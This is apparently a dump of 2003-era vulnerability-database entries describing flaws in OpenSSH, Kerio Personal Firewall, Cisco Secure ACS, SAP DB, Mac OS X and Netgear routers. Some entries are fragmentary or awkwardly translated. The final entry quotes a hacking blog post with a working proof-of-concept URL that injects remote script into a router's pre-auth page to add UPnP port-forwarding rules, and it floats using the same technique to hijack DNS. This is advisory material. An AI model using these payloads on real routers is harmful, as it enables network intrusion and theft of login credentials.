CVSS V3: -
Severity: MEDIUM
OpenSSH-portable (OpenSSH) 3.6.1p1 and earlier with PAM support enabled immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack. Portable Edition OpenSSH If this setting is PAM If enabled in conjunction with an implementation of OpenSSH When authentication fails, the authentication result is determined depending on the existing username and non-existing username. "Permission denied, please try again." There is a vulnerability where there is a difference in the time it takes to return the .It may be possible to guess whether the username exists or not. The portable version of OpenSSH is reported prone to an information-disclosure vulnerability. The portable version is distributed for operating systems other than its native OpenBSD platform. This issue is related to BID 7467. Reportedly, the previous fix for BID 7467 didn't completely fix the issue. This current issue may involve differing code paths in PAM, resulting in a new vulnerability, but this has not been confirmed. Exploiting this vulnerability allows remote attackers to test for the presence of valid usernames. Knowledge of usernames may aid them in further attacks
VAR-200305-0035 CVE-2003-0219 Kerio Personal Firewall Replay Attack Vulnerability CVSS V2: 7.5
CVSS V3: -
Severity: HIGH

VAR-200305-0036 CVE-2003-0220 Kerio Personal Firewall vulnerable to buffer overflow CVSS V2: 7.5
CVSS V3: -
Severity: HIGH
Buffer overflow in the administrator authentication process for Kerio Personal Firewall (KPF) 2.1.4 and earlier allows remote attackers to execute arbitrary code via a handshake packet. An exploit for this vulnerability is publicly available. A buffer-overflow vulnerability has been discovered in Kerio Personal Firewall. The problem occurs during the administration authentication process. An attacker could exploit this vulnerability by forging a malicious packet containing an excessive data size. The application then reads this data into a static memory buffer without first performing sufficient bounds checking. Note that this vulnerability affects Kerio Personal Firewall 2.1.4 and earlier. When the administrator connects to the firewall, a handshake connection will be performed to establish an encrypted session. The fourth packet of the handshake (the first packet is sent by the administrator) contains 4 bytes of data, which has a certain fixed value 0x40 (64) to indicate the follow-up The size of the package containing the admin key. When the firewall side uses recv() to process this data, it does not check the boundary buffer
VAR-200312-0440 CVE-2003-1491 Kerio Personal Firewall Firewall Filter Bypass Vulnerability CVSS V2: 7.5
CVSS V3: -
Severity: HIGH
Kerio Personal Firewall (KPF) 2.1.4 has a default rule to accept incoming packets from DNS (UDP port 53), which allows remote attackers to bypass the firewall filters via packets with a source port of 53. Reportedly, KPF suffers from a vulnerability whereby the existing firewall filters may be bypassed. This vulnerability exists due to the fact that UDP traffic to and from port 53 is allowed. Allegedly, an attacker may craft a special packet with a source port of 53 and send this packet to a vulnerable system. KPF will allow this packet to proceed thus bypassing the firewall filters
VAR-200312-0439 CVE-2003-1490 SonicWALL Pro HTTP POST Remote denial of service vulnerability CVSS V2: 7.8

VAR-200304-0141 No CVE HP JetDirect Printer FTP Service File Print Vulnerability CVSS V2: 5.0
CVSS V3: -
Severity: MEDIUM
The HP JetDirect printer is a printer with integrated network capabilities developed by Hewlett-Packard. The FTP directory in the HP JetDirect printer is writable, and a remote attacker can exploit this vulnerability to perform a denial of service attack on the print service. Since the HP JetDirect printer's directory permissions for its FTP service are not set correctly, any files sent to the Jetdirect FTP service can be printed, and an attacker can send a large number of requests for a denial of service attack. It has been reported that HP JetDirect Printers accept documents from any source without access control limitations. This could lead to a denial of service or abuse of printing services
VAR-200305-0056 CVE-2003-0210 Cisco Secure ACS for Windows CSAdmin vulnerable to buffer overflow via login requests CVSS V2: 7.5
CVSS V3: -
Severity: HIGH
Buffer overflow in the administration service (CSAdmin) for Cisco Secure ACS before 3.1.2 allows remote attackers to cause a denial of service and possibly execute arbitrary code via a long user parameter to port 2002. It has been reported that some versions of the Cisco Secure ACS software do not properly handle input supplied during authentication. Because of this, it may be possible for a remote attacker to gain unauthorized access to a host using the vulnerable software. The management service of Cisco Secure ACS listens on TCP port 2002 and provides WEB-based management. When CSAdmin processes the login request, there is a buffer overflow. If an overlong user parameter is sent to the service program, the service can be suspended, and it needs to be restarted to obtain normal service. It may execute arbitrary commands with system privileges. The BUG ID of this vulnerability is: CSCea51366
VAR-200404-0022 CVE-2003-1033 SAP database development tool INSTLSERVER INSTROOT environment variable vulnerability CVSS V2: 7.2
CVSS V3: -
Severity: HIGH
The (1) instdbmsrv and (2) instlserver programs in SAP DB Development Tools 7.x trust the user-provided INSTROOT environment variable as a path when assigning setuid permissions to the lserver program, which allows local users to gain root privileges via a modified INSTROOT that points to a malicious dbmsrv or lserver program. SAP is an integrated enterprise resource planning system based on client/server architecture and open systems, including database open tools when installed. The SAP database program instlserver has problems handling environment variables. Local attackers can exploit this vulnerability for privilege escalation attacks and gain root user privileges. The instlserver program uses the user-supplied data and still runs with ROOT privileges when chmod and chown some files. When running the 'DevTool/bin/instlserver' program, according to the environment variable 'INSTROOT', the specified file will be chowned and chmoded. The attacker builds a malicious file and stores it in the location specified by the environment variable, and gets a suid root. Properties of the program, thereby increasing permissions
VAR-200305-0066 CVE-2003-0171 Apple MacOS X DirectoryService Privilege Escalation Vulnerability CVSS V2: 7.2
CVSS V3: -
Severity: HIGH
DirectoryServices in MacOS X trusts the PATH environment variable to locate and execute the touch command, which allows local users to execute arbitrary commands by modifying the PATH to point to a directory containing a malicious touch program. Apple MacOS X DirectoryService is prone to an issue which may allow local attackers to gain elevated privileges. This issue is due to usage of libc system() function to execute commands. Attackers may potentially set a PATH environment variable that causes an arbitrary file to be executed with elevated. Exploitation may require the attacker to abuse other known issues (BID 7323) to crash the service. DirectoryServices is the MacOS X information and authentication subsystem, which is started during the startup phase and installed with the default setuid root attribute. To exploit this vulnerability, you must first stop the DirectoryServices service, which can be done by repeatedly connecting to port 625
VAR-200305-0065 CVE-2003-0198 Apple MacOS X DropBox Folder Remote Information Disclosure Vulnerability CVSS V2: 6.4
CVSS V3: -
Severity: MEDIUM
Mac OS X before 10.2.5 allows guest users to modify the permissions of the DropBox folder and read unauthorized files. A vulnerability has been discovered in Apple MacOS X 10.2.4 and earlier. The problem occurs when various file sharing services are enabled. The issue occurs in the privileges granted to 'guest' users, when accessing shared folders. Due to a design error, it may be possible for an unprivileged user to change the permissions of a write-only directory, effectively revealing its contents. Information obtained through exploiting this vulnerability could aid an attacker in launching further attacks against a target system. Mac OS X is an operating system used on Mac machines, based on the BSD system. An issue in the way Mac OS X handles file-sharing services could allow remote attackers to gain access to sensitive file information. Using this information can help attackers further attack the system

CVSS V3: -
Severity: MEDIUM
Netgear FM114P ProSafe is a wireless network router. The Netgear FM114P ProSafe wireless network router uses a port blocking rule vulnerability when using the UPnP feature, which can be exploited by remote attackers to bypass restricted access to restricted ports. Netgear FM114P allows blocking of some ports, restricting external users from accessing the internal network or restricting internal users from connecting to the WAN. If remote access and UPnP functions are enabled in the device, remote users can submit UPnP SOAP request connections to bypass rule access restrictions. port,
VAR-200304-0138 No CVE Netgear FM114P ProSafe Wireless Router UPnP Information Disclosure Vulnerability CVSS V2: 5.0
CVSS V3: -
Severity: MEDIUM
Netgear FM114P ProSafe is a wireless network router. The Netgear FM114P ProSafe wireless network router has a vulnerability when using the UPnP feature, which can be exploited by remote attackers to obtain WAN interface username and password information. If the remote access and UPnP functions are enabled on the device, the remote user can verify the username and password information for the Netgear FM114P ProSafe connection, which can be obtained by submitting a UPnP soap request to the WAN interface. http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-5 It's known that UPnP [1] is inherently insecure for a very simple reason: administrative tasks can be performed on a Internet Gateway Device (IGD) without needing to know the admin password whatsoever! This on its own is quite scary and I personally feel that although there is some research in the public domain, there is much more attention that needs to be paid to UPnP. UPnP allows you to perform administrative functions. Some functions are very standardized and supported by most devices. Examples include obtaining network settings, and enabling port forwarding rules. Other functions are make/model specific. Some very scary functions such as obtaining administrative username and password pairs have been reported [2] in the past. As a reminder, this works without submitting any administrative password whatsoever since UPnP is a authenticationless protocol. On top of this, most IGDs support UPnP by default. After having read several UPnP security research materials I realized that all the described attacks assume that the attacker (be it human or malware) comes from inside the network. This post describes how to exploit IGDs remotely via UPnP even when no services are publicly available (WAN interface). ** Preauth XSS + SOAP payload = remote UPnP exploitation ** If you sniff yourself while running software that uses UPnP in the background to help you configure your router, you'll see that UPnP is nothing more than SOAP. Our AJAX knowledge tells us about a feature that allows us to craft arbitrary XML requests: the XMLHttpRequest [3] object. Trouble is, such object can only be used within the context of the site that the requests are submitted to. So if we host the malicious scripting code on a third-party site, and a victim user located in the same LAN as the target IGD visits such page, the request wouldn't go through due to XMLHttpRequest same-origin policy restricition. Or put in a different way: you aren't allowed to make XMLHttpRequests to any server except the server where your web page came from. However, if you find a pre-auth XSS vulnerability [4] on the target device you can bypass such restriction. For instance, many devices such as the BT Home Hub and Speedtouch routers offer certain pages before authenticating. Some of these pages are cgi scripts which are vulnerable to XSS. Although offering certain "useless" functionalities before logging into the router might not seem like a big deal, it can actually lead to UPnP being exploited remotely, even if the web admin console is not visible from the Internet! The following is a non-malicious proof-of-concept exploit which sets up a port-forwarding rule from port 1337 on the WAN interface to port 445 on the internal IP address 192.168.1.64. Such IP address is the first usable IP address reserved for clients connected to Speedtouch and BT Home Hub routers. The exploit has been tested on BT Home Hub - Firmware version 6.2.6.B. Just to make things clear, UPnP is enabled by default on the BT Home Hub, just like most IGDs. If your Internet gateway is a BT Home Hub, clicking on the following link should add a new forward rule called EVILFORWARDRULE: ATTACK <http://192.168.1.254/cgi/b/ic/connect/?url=%22%3e%3cscript%20src='http://www.gnucitizen.org/projects/bt-home-flub-pwnin-the-bt-home-hub-5/payload.xss'%3e%3c/script%3e%3ca%20b=> In order to check if the port-forwarding rule was added successfully you can use UPnP Port Forwarding Utility [5] and simply click on "Update list now" after the device has been discovered (device name should show on the top-left corner a few seconds later after launching the tool). You could of course use the technique and code explained in this post on any Internet gateway that supports UPnP and is a vulnerable to a preauth XSS vulnerability. If you manage to successfully test this attack on the BT Home Hub or any other device please let us know! ** Zombie routers and the unvalidated NewInternalClient bug ** A bit of more UPnP hacking lead me to realize that the BT Home Hub is vulnerable to the (in)famous unvalidated NewInternalClient bug. This bug allows you to choose external IP addresses instead of a LAN IP addresses as intended when setting up port-forwarding rules via UPnP. In this case, I reused the previous code and changed the internal IP address (192.168.1.64) in the NewInternalClient tag with the IP address of a random Internet web server and the value of the NewInternalPort tag to 80. This effectively allows an attacker to use the vulnerable BT Home Hub router as a proxy - aka onion router. In other words, when probing the router's NATed IP address on port 1337, the attacker is effectively probing the IP address and port number specified by the port-forwarding rule - except the routers IP address would be shown in logs of the target web server, as opposed to the attacker's real IP address. I thought this is a nice real example of how a vulnerable router can be used as a zombie by simply having a user visit a page with malicious scripting (XSS + UPnP SOAP request). Imagine running your favourite vulnerability scanner against a target site, while using the victim user's router as a proxy - sweet! There are other UPnP functionalities besides port forwarding rules that look potentially interesting from a hacking point of view. For instance, SetDNSServer [6] allows you to guess what, set the gateway's DNS server. Imagine someone changing your router's DNS server setting by simply visiting a webpage. After that you visit yourfavoritebank.com and guess what, you're actually visiting a malicious server that is harvesting all your banking login details! I'll leave the exercise of writing a remote UPnP exploit that changes the DNS server setting on the BT Home Hub (or any other vulnerable router) to the reader. ** About GNUCITIZEN ** GNUCITIZEN is a Cutting Edge, Ethical Hacker Outfit, Information Think Tank, which primarily deals with all aspects of the art of hacking.
